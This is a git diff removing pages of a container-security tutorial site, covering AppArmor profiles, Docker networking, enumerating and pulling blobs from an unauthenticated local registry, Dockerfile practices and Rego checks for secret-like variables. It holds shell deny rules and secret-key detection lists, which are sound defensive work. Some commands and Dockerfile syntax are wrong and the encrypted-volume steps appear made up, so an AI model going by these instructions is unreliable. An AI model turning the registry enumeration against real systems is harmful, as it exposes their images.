appArmor works on file paths . it comes as default LSM for ubuntu and SUSE .

-
    -
  1. let check our dpcler version and service status
  2. -
-

-$ docker version
-$ systemctl status docker 
-
    -
  1. check AppArmor in docker info
  2. -
-
docker info -f '{{json .SecurityOptions}}'
-
    -
  1. chheck AppArmor status . it might required sudo access
  2. -
-
$ apparmor_status
-$ sudo apparmor_status
-

this will provide us the infromation about all the profile loaded and the mode of profiles with process

-

the apparmor_status and aa-status can used interchangeably . just check if they are available with your system installation or not gernerally they comes in package call -apparmor-utils .

-

-$ which apparmor_status
-$ which aa-status
-

and one can gain insight about the number of profile also

-
$ sudp aa-status --help 
-$ sudo aa-status --enabled [No error output means apparmor is enabled]
-$ sudo aa-status --profiles [prints the no of loaded policies ]
-$ sudo aa-status --enforce [prints the no of enforced policies ]
-

Install an AppArmor Profile generator tool called bane

-
# Export the sha256sum for verification.
-$ export BANE_SHA256="e70b1d67333975eb705b08045de9558483daae05792a1ff28dcec28d4c164386"
-
-# Download and check the sha256sum.
-$ curl -fSL "https://github.com/genuinetools/bane/releases/download/v0.4.4/bane-freebsd-amd64" -o "/usr/local/bin/bane" \
-	&& echo "${BANE_SHA256}  /usr/local/bin/bane" | sha256sum -c - \
-	&& chmod a+x "/usr/local/bin/bane"
-
-$ echo "bane installed!"
-
-# Run it!
-$ bane -h
-

get the sample TOML file for creation of AppArmor profile from bane Github

-
$ sudo curl -o sample.toml https://raw.githubusercontent.com/genuinetools/bane/master/sample.toml
-$ ls 
-

the parts of the sample.toml file are

-

a. name key value pair is the name of the profile .

-
# name of the profile, we will auto prefix with `docker-`
-# so the final profile name will be `docker-nginx-sample`
-Name = "nginx-sample"
-

b . Filesystem table with different arrays like ReadOnlyPaths , LogOnWritePaths , WritePaths , ReadPaths , NoAccessPaths , ReadOnlyPaths .

-

-[Filesystem]
-# read only paths for the container
-ReadOnlyPaths = [
-	"/bin/**",
-	"/boot/**",
-	"/dev/**",
-	"/etc/**",
-	"/home/**",
-	"/lib/**",
-	"/lib64/**",
-	"/media/**",
-	"/mnt/**",
-	"/opt/**",
-	"/proc/**",
-	"/root/**",
-	"/sbin/**",
-	"/srv/**",
-	"/tmp/**",
-	"/sys/**",
-	"/usr/**",
-]
-
-# paths where you want to log on write
-LogOnWritePaths = [
-	"/**"
-]
-
-# paths where you can write
-WritablePaths = [
-	"/var/run/nginx.pid"
-]
-
-# allowed executable files for the container
-AllowExec = [
-	"/usr/sbin/nginx"
-]
-
-# denied executable files
-DenyExec = [
-	"/bin/dash",
-	"/bin/sh",
-	"/usr/bin/top"
-]
-

C. Capabilties table allow array for allowing Linux capabilities .

-
# allowed capabilities
-[Capabilities]
-Allow = [
-	"chown",
-	"dac_override",
-	"setuid",
-	"setgid",
-	"net_bind_service"
-]
-

D . Network table with Raw , Packet , Protocols array .

-

-[Network]
-# if you don't need to ping in a container, you can probably
-# set Raw to false and deny network raw
-Raw = false
-Packet = false
-Protocols = [
-	"tcp",
-	"udp",
-	"icmp"
-]
-

build the sample file with bane and check apparmor status if this profile gets enforced

-
$ sudo bane sample.toml
-$ sudo aa-status | grep docker 
-

notice that there was already loaded docker-default profile .

-
$ sudo ls /etc/apparmor.d/containers/
-docker-ngnix-sample
-
sudo cat /etc/apparmor.d/containers/docker-nginx-sample
-
    #include <tunables/global>
-
-    profile docker-nginx-sample flags=(attach_disconnected,mediate_deleted) {
-      #include <abstractions/base>
-      #include <abstractions/nameservice>
-      #include <abstractions/openssl>
-
-      /bin/** r,
-      /boot/** r,
-      /dev/** r,
-      /etc/** r,
-      /home/** r,
-      /lib/** r,
-      /lib64/** r,
-      /media/** r,
-      /mnt/** r,
-      /opt/** r,
-      /proc/** r,
-      /root/** r,
-      /sbin/** r,
-      /srv/** r,
-      /tmp/** r,
-      /sys/** r,
-      /usr/** r,
-      /var/run/nginx.pid rw,
-      /usr/sbin/nginx ix,
-      deny /bin/dash ix,
-      deny /bin/sh ix,
-      deny /usr/bin/top ix,
-      capability chown,
-      capability dac_override,
-      capability setuid,
-      capability setgid,
-      capability net_bind_service,
-      network raw,
-      network packet,
-      deny network raw,
-      deny network packet,
-      deny network tcp,
-      deny network udp,
-      deny network icmp,
-    }
-
-    .....
-

Apply the above bane generated profile to the container before that lets -analyze some commands that we can perfectly run within a container not attached to this profile

-
$ docker run -it --rm --name without-aa -p 4444:80 nginx bash 
-# sh
-# dash
-# bash 
-# exit
-# exist 
-

in this ngnix container we are able to run many variants of shell like bash sh and dash without any error

-

now attach th profile and try to achive the same

-
$ docker run -it --rm --name with-aa --security-opt="apparmor:docker-nginx-sample" -p 4444:80  nginx bash 
-

As expected, the attached AppArmor profile is not allowing us to spawn shells inside the container. This is how an AppArmor profile can be attached to a Docker container using --security-opt and the different executables and capabilities can be controlled. Till now, we have seen that Docker uses many Linux technologies, such as Capabilities, AppArmor and SecComp for defense. However, AppArmor can protect a Docker Host even when the other lines of defense such as SecComp and Capabilities are not effective. Remember that if you are not explicitly defining any AppArmor profile, the default-docker AppArmor profile will get automatically attached. Until and unless --security-opt apparmor=unconfined is not present during the container run command execution default-docker -apparmor profile will be remain loaded .

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/docker-networking/index.html b/public/containersecurity/docker-networking/index.html deleted file mode 100644 index b1b26cc..0000000 --- a/public/containersecurity/docker-networking/index.html +++ /dev/null @@ -1,632 +0,0 @@ - - - - - - - - -Docker Networking · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Networking

-
-
- - -

Docker Networking

-

The Container Netwotk Model (CNM) is the design document for Docker Networking which is implemented via ’libnetwork’ in golang

-
    -
  • Sandbox - isolated network stavk
  • -
  • Endpount - Virtual Ethernet Interfece
  • -
  • Network - Virtual Switch (bridge)
  • -
-

Note - Libnetwork -> implemenrs the control and management plane functions

-

Network Specific Drivers -> implemenrs the data plane while also handling the connectivity and isolation

-

Docker Native Network Drivers

-
    -
  • -

    Bridge - uses a software bridge whicha allows containers connected to the same bridge network to communicate

    -
  • -
  • -

    Host - Connects the docker host and containers to use hosts networking directly

    -
  • -
  • -

    Overlay - used for multi-host networking which allows a single network to span multiple hosts such that containers on diffenet hosts can communicate at layer 2

    -
  • -
  • -

    Macvlan - Useful for lagacy and monitor apps which expect to directly conneted to physical network -as it assigns completely the networkinh stack on container . No IP will be configuared with this driver

    -
  • -
-

Docker Networking ( Hands-on )

-
$ docker network --help
-
    -
  1. check what networks are already present in the docker by default
  2. -
-
$ dokcer run -itd --name netcon ubuntu /bin/bash 
-

check for the network placement of this container in the above networks. We see that by default all containers got attached to bridge network using network inspect command this could be done

-
$ docker network inspect bridge 
-

In the Container option abobe the information about container name , IPv4 etc present

-

Run another container net2con from busybox image and check its network placement same as above

-
docker run -itd --name net2con busybox /bin/bash 
-

lets us now run nginx container as net3con-web with exposed port

-
docker run -itd --name net3con-web -p 5000:80 nginx 
-

to check for the port correctly setup and exposed , one can use port command followed by container name .

-

-docker port net3con-web
-

to visualize only the relavant information which is the Containers block from inspect command output use -f option to format the JSON and parse it via jq ulaitity

-
docker network inspect bridege -f "{{json.Containers}}" | jq
-

one can also oberserve the associated bridge.id to docker0 default bridge with all the containers attached via vethxxxxxx virtual ethernet interfces

-
$brctl show 
-

concusion

-

Cgroups and Namespaces provides essential isolation and limits the container resources. This is highly valuable for the Docker host system in case of DoS Attacks wherein if resources are set minimally, less harm will be there. For resource isolation, feel free to look over to the Linux ‘cgcreate’, ‘cgdelete’, ‘cgset’ and related parameters like ‘cpuset’, ‘cpuacct’, etc. Running containers and walking around the namespaces, cgroups, container networking

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/docker-registry-security-configurations/index.html b/public/containersecurity/docker-registry-security-configurations/index.html deleted file mode 100644 index a97eb86..0000000 --- a/public/containersecurity/docker-registry-security-configurations/index.html +++ /dev/null @@ -1,810 +0,0 @@ - - - - - - - - -Docker Registry security configurations · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Registry security configurations

-
-
- - -

What will you learn?

-
    -
  • InteractIing with insecure registry with curl
  • -
  • -
-

Fetching images using curl and analyzing image layers -Attacking protected Docker registry -Backdooring images and leveraging auto-deployment mechanisms to attack Docker host

-

Intracting with Insecure Registry

-
[node1] (local) root@192.168.0.18 ~
-$ docker run -d \
-  -p 5000:5000 \
-  --name registry \
-  -v /registry/data:/var/lib/registry \
-  --restart always \
-  registry:2
-Unable to find image 'registry:2' locally
-2: Pulling from library/registry
-ca7dd9ec2225: Pull complete 
-c41ae7ad2b39: Pull complete 
-1ed0fc8a6161: Pull complete 
-21df229223d2: Pull complete 
-626897ccab21: Pull complete 
-Digest: sha256:ce14a6258f37702ff3cd92232a6f5b81ace542d9f1631966999e9f7c1ee6ddba
-Status: Downloaded newer image for registry:2
-729cabb707e247e548ff84aa096c03e922e39e78bbe3c65753478305575576a6
-

check

-
[node1] (local) root@192.168.0.18 ~
-$ docker ps
-CONTAINER ID   IMAGE        COMMAND                  CREATED          STATUS          PORTS                    NAMES
-729cabb707e2   registry:2   "/entrypoint.sh /etc…"   11 seconds ago   Up 10 seconds   0.0.0.0:5000->5000/tcp   registry
-

pull image from docker hub and push to local registry

-
[node1] (local) root@192.168.0.18 ~
-$ docker pull alpine:3.6
-3.6: Pulling from library/alpine
-5a3ea8efae5d: Pull complete 
-Digest: sha256:66790a2b79e1ea3e1dabac43990c54aca5d1ddf268d9a5a0285e4167c8b24475
-Status: Downloaded newer image for alpine:3.6
-docker.io/library/alpine:3.6
-

push to local registry

-
[node1] (local) root@192.168.0.18 ~
-$ docker tag alpine:3.6 localhost:5000/alpine:3.6
-[node1] (local) root@192.168.0.18 ~
-$ docker push localhost:5000/alpine:3.6
-The push refers to repository [localhost:5000/alpine]
-721384ec99e5: Pushed 
-3.6: digest: sha256:36c3a913e62f77a82582eb7ce30d255f805c3d1e11d58e1f805e14d33c2bc5a5 size: 528
-

remove image from local docker host

-
[node1] (local) root@192.168.0.18 ~
-$ docker image remove localhost:5000/alpine:3.6
-Untagged: localhost:5000/alpine:3.6
-Untagged: localhost:5000/alpine@sha256:36c3a913e62f77a82582eb7ce30d255f805c3d1e11d58e1f805e14d33c2bc5a5
-

pull new image from local registry

-
[node1] (local) root@192.168.0.18 ~
-$  docker pull localhost:5000/alpine:3.6
-3.6: Pulling from alpine
-Digest: sha256:36c3a913e62f77a82582eb7ce30d255f805c3d1e11d58e1f805e14d33c2bc5a5
-Status: Downloaded newer image for localhost:5000/alpine:3.6
-localhost:5000/alpine:3.6
-[node1] (local) root@192.168.0.18 ~
-
curl -s http://localhost:5000/v2/_catalog
-{"repositories":["alpine"]}
-ubuntu $ nmap -p 5000 localhost
-Starting Nmap 7.80 ( https://nmap.org ) at 2023-01-07 23:45 UTC
-Nmap scan report for localhost (127.0.0.1)
-Host is up (0.000064s latency).
-
-PORT     STATE SERVICE
-5000/tcp open  upnp
-
-Nmap done: 1 IP address (1 host up) scanned in 0.03 seconds
-

Fetching images using curl and analyzing image layers

-
ubuntu $ curl -s http://localhost:5000/v2/alpine/tags/list
-{"name":"alpine","tags":["3.6"]}
-

/_catalog endpoint returns a list of repositories available in the registry.

-
ubuntu $ curl -s http://localhost:5000/v2/alpine/manifests/3.6 
-
-
-
-
-```bash
-
-{
-   "schemaVersion": 1,
-   "name": "alpine",
-   "tag": "3.6",
-   "architecture": "amd64",
-   "fsLayers": [
-      {
-         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
-      },
-      {
-         "blobSum": "sha256:5a3ea8efae5d0abb93d2a04be0a4870087042b8ecab8001f613cdc2a9440616a"
-      }
-   ],
-   "history": [
-      {
-         "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:143f9315f5a85306192ccffd37fbfa65db21f67aaa938c2538bd50f52123a12f\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container\":\"fd086f4b9352674c6a1ae4d02051f95a4e0a55cda943c5780483938dedfb2d8f\",\"container_config\":{\"Hostname\":\"fd086f4b9352\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) \",\"CMD [\\\"/bin/sh\\\"]\"],\"ArgsEscaped\":true,\"Image\":\"sha256:143f9315f5a85306192ccffd37fbfa65db21f67aaa938c2538bd50f52123a12f\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":{}},\"created\":\"2019-03-07T22:20:00.563496859Z\",\"docker_version\":\"18.06.1-ce\",\"id\":\"baaf9c1caf4fb211f173d053029997dcfade0644ac354c8a068e4ebf23fcf1c5\",\"os\":\"linux\",\"parent\":\"5d8f720b0ab2b92a29a7e338aa90cad32dac2bf6518c7aae5844aab896ee36ec\",\"throwaway\":true}"
-      },
-      {
-         "v1Compatibility": "{\"id\":\"5d8f720b0ab2b92a29a7e338aa90cad32dac2bf6518c7aae5844aab896ee36ec\",\"created\":\"2019-03-07T22:20:00.434038891Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:9714761bb81de664e431dec41f12db20f0438047615df2ecd9fdc88933d6c20f in / \"]}}"
-      }
-   ],
-   "signatures": [
-      {
-         "header": {
-            "jwk": {
-               "crv": "P-256",
-               "kid": "AHL3:52R5:PMFF:XHCJ:VYKX:OOEL:IUGD:JPPY:CLW4:HBE3:PSWY:CT6H",
-               "kty": "EC",
-               "x": "nsfDpo11GTUjCyx98IT4s4VJqns97kipPMB_nU-3JCs",
-               "y": "eaFL1-YY16GBI31WV-FgjRp6C-koWvsUqjJRFknMjDM"
-            },
-            "alg": "ES256"
-         },
-         "signature": "48-BseaiWn17IyGHwsEGnxCUxnkAyI8fmMIFP3Ry2mDF5o23dQiDMPcbH62ik2mNAxmWA5-yKrBtjTuIn5FXAw",
-         "protected": "eyJmb3JtYXRMZW5ndGgiOjIxMzAsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMy0wMS0wOFQwMDowMTozMFoifQ"
-      }
-   ]
-}
-

-#!/bin/bash
-
-# Download all the fsLayers from the remote registry using curl command
-# Usage: ./download.bash http://registry:5000 image [tag]
-
-URL="$1"
-IMAGE="$2"
-TAG="${3:-latest}"
-
-BLOBS=( $(curl "$URL/v2/$IMAGE/manifests/$TAG" -s | python -m json.tool |  grep blobSum | cut -d '"' -f 4) )
-
-for ((idx = 0 ; idx < ${#BLOBS[@]}; idx++)); do
-        BLOB=${BLOBS[$idx]}
-        SUMIDX=$(($idx + 1))
-        DIR="$PWD/$IMAGE/$SUMIDX"
-        rm -rf "$DIR" ; mkdir -p "$DIR/fs"
-
-        curl -s "$URL/v2/$IMAGE/blobs/$BLOB" -o "$DIR/layer.tar"
-        tar xf "$DIR/layer.tar" -C "$DIR/fs"
-done
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/docker-volumes/index.html b/public/containersecurity/docker-volumes/index.html deleted file mode 100644 index f0dc598..0000000 --- a/public/containersecurity/docker-volumes/index.html +++ /dev/null @@ -1,587 +0,0 @@ - - - - - - - - -Docker volumes · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker volumes

-
-
- - -

Docker volumes

-

How to create encrypted data volume

-

Create a Docker volume using the docker volume create command, for example:

-
$ docker volume create encrypted_volume
-

Create a Docker container that will be used to create the encrypted volume. For this, you can use a tool like luksipc, which allows you to create a LUKS-encrypted file within a container.

-

Run the luksipccontainer with the --volume flag to specify the Docker volume you want to encrypt. For example:

-
$ docker run --rm -it --volume encrypted_volume:/volume luksipc create
-

Follow the prompts to create the encrypted volume. You will be asked to specify a passphrase that will be used to encrypt and decrypt the volume.

-

Once the volume is created, you can use it like any other Docker volume. For example, you can mount it to a container using the -v flag:

-
$ docker run --rm -it -v encrypted_volume:/data ubuntu bash
-

To decrypt the volume, you can use the luksipc container again and specify the unlock command. You will be prompted for the passphrase you specified when creating the volume:

-
$ docker run --rm -it --volume encrypted_volume:/volume luksipc unlock
-

You can then access the decrypted data within the volume from within the container. -Note: This is just one example of how to create an encrypted Docker volume. There are other tools and methods available that you can use to achieve the same result.

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/dockerfile-security-best-practices/index.html b/public/containersecurity/dockerfile-security-best-practices/index.html deleted file mode 100644 index e53d7c9..0000000 --- a/public/containersecurity/dockerfile-security-best-practices/index.html +++ /dev/null @@ -1,809 +0,0 @@ - - - - - - - - -DockerFile Security Best Practices · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

DockerFile Security Best Practices

-
-
- - -

DockerFile Security Best Practices

-
    -
  • Choose Minimal Base Images
  • -
-

-
FROM alpine
-WORKDIR /app
-COPY package.json /app
-RUN npm install
-CMD [“node”,“index.js”]
-
    -
  • Remove Cache Packages -
  • -
-
FROM alpine
-RUN apk add nginx && rm -rf /var/cache/apt/*
-COPY index.html /var/www/html/
-EXPOSE 80
-CMD [“nginx”,“-g”,“daemon off;”]
-
FROM alpine
-RUN apk add –no-cache nginx
-COPY index.html /var/www/html/
-EXPOSE 80
-CMD [“nginx”,“-g”,“daemon off;”]
-
    -
  • avoid multilayers
  • -
-

-
FROM alpine
-RUN apk update
-RUN apk add curl
-RUN apk add nodejs
-RUN apk add nginx-1.16.1-r6
-RUN apk add nginx-mod-http-geoip2-1.16.1-r6
-COPY index.html /var/www/html/
-EXPOSE 80
-CMD [“nginx”,“-g”,“daemon off;”]
-
FROM alpine
-RUN apk update && apk add curl nginx nginx-mod-http-geoip2-1.16.1-r6 \
-rm -rf /var/cache/apt/*
-COPY index.html /var/www/html/
-EXPOSE 80
-CMD [“nginx”,“-g”,“daemon off;”]
-
    -
  • Don’t ignore .dockerignore
  • -
-

-
node_modules
-.env
-secrets/
-*pem
-*.md
-
FROM node:10
-WORKDIR /nodeapp
-COPY package.json ./
-RUN npm install
-COPY . .
-EXPOSE 8888
-CMD [ “node”, “index.js” ]
-
    -
  • choose slim variant
  • -
-

-
    -
  • cut the root
  • -
-

-
FROM node:10
-WORKDIR /app
-COPY package.json ./
-RUN npm install
-COPY . .
-EXPOSE 8888
-CMD [ “node”, “index.js” ]
-
FROM node:10
-RUN user add -m nodeapp
-USER nodeappuser
-RUN whoami
-WORKDIR /app
-COPY package.json ./
-RUN npm install
-COPY . .
-EXPOSE 8888
-CMD [ “node”, “index.js” ]
-

Remove Unwanted

-

-

TAG Wisely

-

-

So No to latest Tags

-

-

Public Private Registry

-

-

keep it single -

-

Avoid Hard Coding

-

-
ARG VERSION
-FROM node:$VERSION
-WORKDIR /app
-COPY package.json ./
-RUN npm install
-COPY . .
-EXPOSE 8888
-CMD [ “node”, “index.js” ]
-
docker build -t testimage –build-arg VERSION=10 .
-docker build -t testimage –build-arg VERSION=9 .
-

adding metadata

-

-
FROM node:10
-LABEL version=“1.0” maintainer=“Sangam Biradar <cXXXXXXo@gmail.com>”
-WORKDIR /app
-COPY package.json ./
-RUN npm install
-COPY . .
-EXPOSE 8888
-CMD [ “node”, “index.js” ]
-

Rego Policies

-
    -
  • write custom policies
  • -
-

-package play
-
-
-suspicious_env_keys = [
-    "passwd",
-    "password",
-    "secret",
-    "key",
-    "access",
-    "api_key",
-    "apikey",
-    "token",
-]
-
-pkg_update_commands = [
-    "apk upgrade",
-    "apt-get upgrade",
-    "dist-upgrade",
-]
-
-image_tag_list = [
-    "latest",
-    "LATEST",
-]
-
-# Looking for suspicious environemnt variables
-deny[msg] {    
-    input[i].Cmd == "env"
-    val := input[i].Value
-    contains(lower(val[_]), suspicious_env_keys[_])
-    msg = sprintf("Suspicious ENV key found: %s", [val])
-}
-
-# Looking for latest docker image used
-warn[msg] {
-    input[i].Cmd == "from"
-    val := split(input[i].Value[0], ":")
-    count(val) == 1
-    msg = sprintf("Do not use latest tag with image: %s", [val])
-}
-
-# Looking for latest docker image used
-warn[msg] {
-    input[i].Cmd == "from"
-    val := split(input[i].Value[0], ":")
-    contains(val[1], image_tag_list[_])
-    msg = sprintf("Do not use latest tag with image: %s", [input[i].Value])
-}
-
-# Looking for apk upgrade command used in Dockerfile
-deny[msg] {
-    input[i].Cmd == "run"
-    val := concat(" ", input[i].Value)
-    contains(val, pkg_update_commands[_])
-    msg = sprintf("Do not use upgrade commands: %s", [val])
-}
-
-# Looking for ADD command instead using COPY command
-deny[msg] {
-    input[i].Cmd == "add"
-    val := concat(" ", input[i].Value)
-    msg = sprintf("Use COPY instead of ADD: %s", [val])
-}
-
-# sudo usage
-deny[msg] {
-    input[i].Cmd == "run"
-    val := concat(" ", input[i].Value)
-    contains(lower(val), "sudo")
-    msg = sprintf("Avoid using 'sudo' command: %s", [val])
-}
-
-# # No Healthcheck usage
-# deny[msg] {
-#     input[i].Cmd == "healthcheck"
-#     msg := "no healthcheck"
-# }
-

Rego Playground

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/dockerscan/index.html b/public/containersecurity/dockerscan/index.html deleted file mode 100644 index a120883..0000000 --- a/public/containersecurity/dockerscan/index.html +++ /dev/null @@ -1,705 +0,0 @@ - - - - - - - - -DockerScan · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

DockerScan

-
-
- - -

DockerScan

-

Docker Scan Support actions for docker registory scanning , image analysis and image meta information exaction to look for password , URL/ IP etc in the envirmonment variavle and any kind of sudo call by user

-
    -
  1. create a directory for this
  2. -
-
$ sudo mkdir dockersec-2 
-$ cd dockersec-2 
-

check pyhon version which mustt be greater then 3.5 and must have pip installed

-
$ python3 --version
-
$ sudo apt install python3-pip
-$ which pip3
-``
-
-Install Dockerscan with pip3 
-

$ sudo /user/bin/pip3 install dockerscan

-

-pull the ngnix docker image from dockerhub 
-

$ sudo docker pull ngnix

-
 
- save the docker image using docker save 
-

$ sudo docker save ngnix -o ng-orig -$ ls

-

-scan the image 
-

sudo dockerscan image info ng-orig

-

-as we can see the information reveals the CMD runs , ENV variable , exposed ports etc 
- 
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/environment-variables/index.html b/public/containersecurity/environment-variables/index.html deleted file mode 100644 index 944488b..0000000 --- a/public/containersecurity/environment-variables/index.html +++ /dev/null @@ -1,741 +0,0 @@ - - - - - - - - -Environment variables · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Environment variables

-
-
- - -

Environment variables -example of using an environment variable in a Dockerfile:

-
FROM alpine:latest
-# Set an environment variable
-ENV MY_VAR "Hello World"
-# Use the environment variable in a command
-RUN echo $MY_VAR > /app/output.txt
-CMD ["cat", "/app/output.txt"]
-

In this example, the environment variable MY_VAR is set to the value “Hello World”. This variable is then used in the RUN command to create an output.txt file with the contents “Hello World”.

-

To build the Docker image using this Dockerfile, you can use the following command:

-
docker build -t my-image .
-

You can also set the value of the environment variable when you build the image using the --build-arg flag:

-
docker build -t my-image --build-arg MY_VAR=Goodbye .
-

This will set the value of MY_VAR to “Goodbye” when the image is built.

-

It is also a good idea to use default values for environment variables in your Dockerfile. This way, if the variable is not set when the image is built, it will use the default value. You can do this by using the ARG directive in your Dockerfile and then using the := operator to set the default value:

-
FROM alpine:latest
-# Set a default value for the environment variable
-ARG MY_VAR:=Hello World
-# Use the environment variable in a command
-RUN echo $MY_VAR > /app/output.txt
-CMD ["cat", "/app/output.txt"]
-

In this example, if the value of MY_VAR is not set when the image is built, it will default to the value “Hello World”.

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/index.html b/public/containersecurity/index.html deleted file mode 100644 index 1d09498..0000000 --- a/public/containersecurity/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - https://kubedaily.com/containersecurity/overview/ - - - - - - diff --git a/public/containersecurity/index.xml b/public/containersecurity/index.xml deleted file mode 100644 index 87b2592..0000000 --- a/public/containersecurity/index.xml +++ /dev/null @@ -1,281 +0,0 @@ - - - - Containersecurities on kubedaily - https://kubedaily.com/containersecurity/ - Recent content in Containersecurities on kubedaily - Hugo -- gohugo.io - en - - - Dive - https://kubedaily.com/containersecurity/dive/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/dive/ - Dive Ubuntu /Debian wget https://github.com/wagoodman/dive/releases/download/v0.9.2/dive_0.9.2_linux_amd64.deb sudo apt install ./dive_0.9.2_linux_amd64.deb RHEL/CemtOS curl -OL https://github.com/wagoodman/dive/releases/download/v0.9.2/dive_0.9.2_linux_amd64.rpm rpm -i dive_0.9.2_linux_amd64.rpm Arch Linux ay -S dive Mac OS X -brew install dive How to use Dive To analyze a Docker image simply run dive with an image tag/id/digest: -$ dive &lt;your-image-tag&gt; or if you want to build your image then jump straight into analyzing it: -$ dive build -t &lt;some-tag&gt; example ngnix image -another tool that make this all more easy - - - Docker architecture and its components - https://kubedaily.com/containersecurity/docker-architecture-and-its-components/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/docker-architecture-and-its-components/ - Docker architecture and its components -Docker Architecture Docker architecture consists of three main components: -Docker Engine: This is the core component of Docker and is responsible for building, running, and distributing Docker containers. It is made up of a daemon, a REST API, and a CLI (command line interface). Docker Hub: This is a cloud-based registry service that allows users to share and store Docker images. It acts as a central repository for Docker images and makes it easy for users to find and download images that they need for their projects. - - - YaraHunter - Malware Scanner for Container Images - https://kubedaily.com/containersecurity/yarahunter-malware-scanner-for-container-images/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/yarahunter-malware-scanner-for-container-images/ - What is YARA ? YARA was originally developed by Victor Alvarez of VirusTotal and released on github in 2013 . -YARA , the &ldquo;Pattern matching Swiss knife for malware researchers available on github -Install yara on Mac brew install yara Yara is extremely popular within because of different use case : Identify and classify malware -Find new samples based on family-specific pattern -Deploy Yara Rules to identify samples and compromised device for incident response - - - Attack surface of the container ecosystem - https://kubedaily.com/containersecurity/attack-surface-of-the-container-ecosystem/ - Mon, 01 Jan 0001 00:00:00 +0000 - 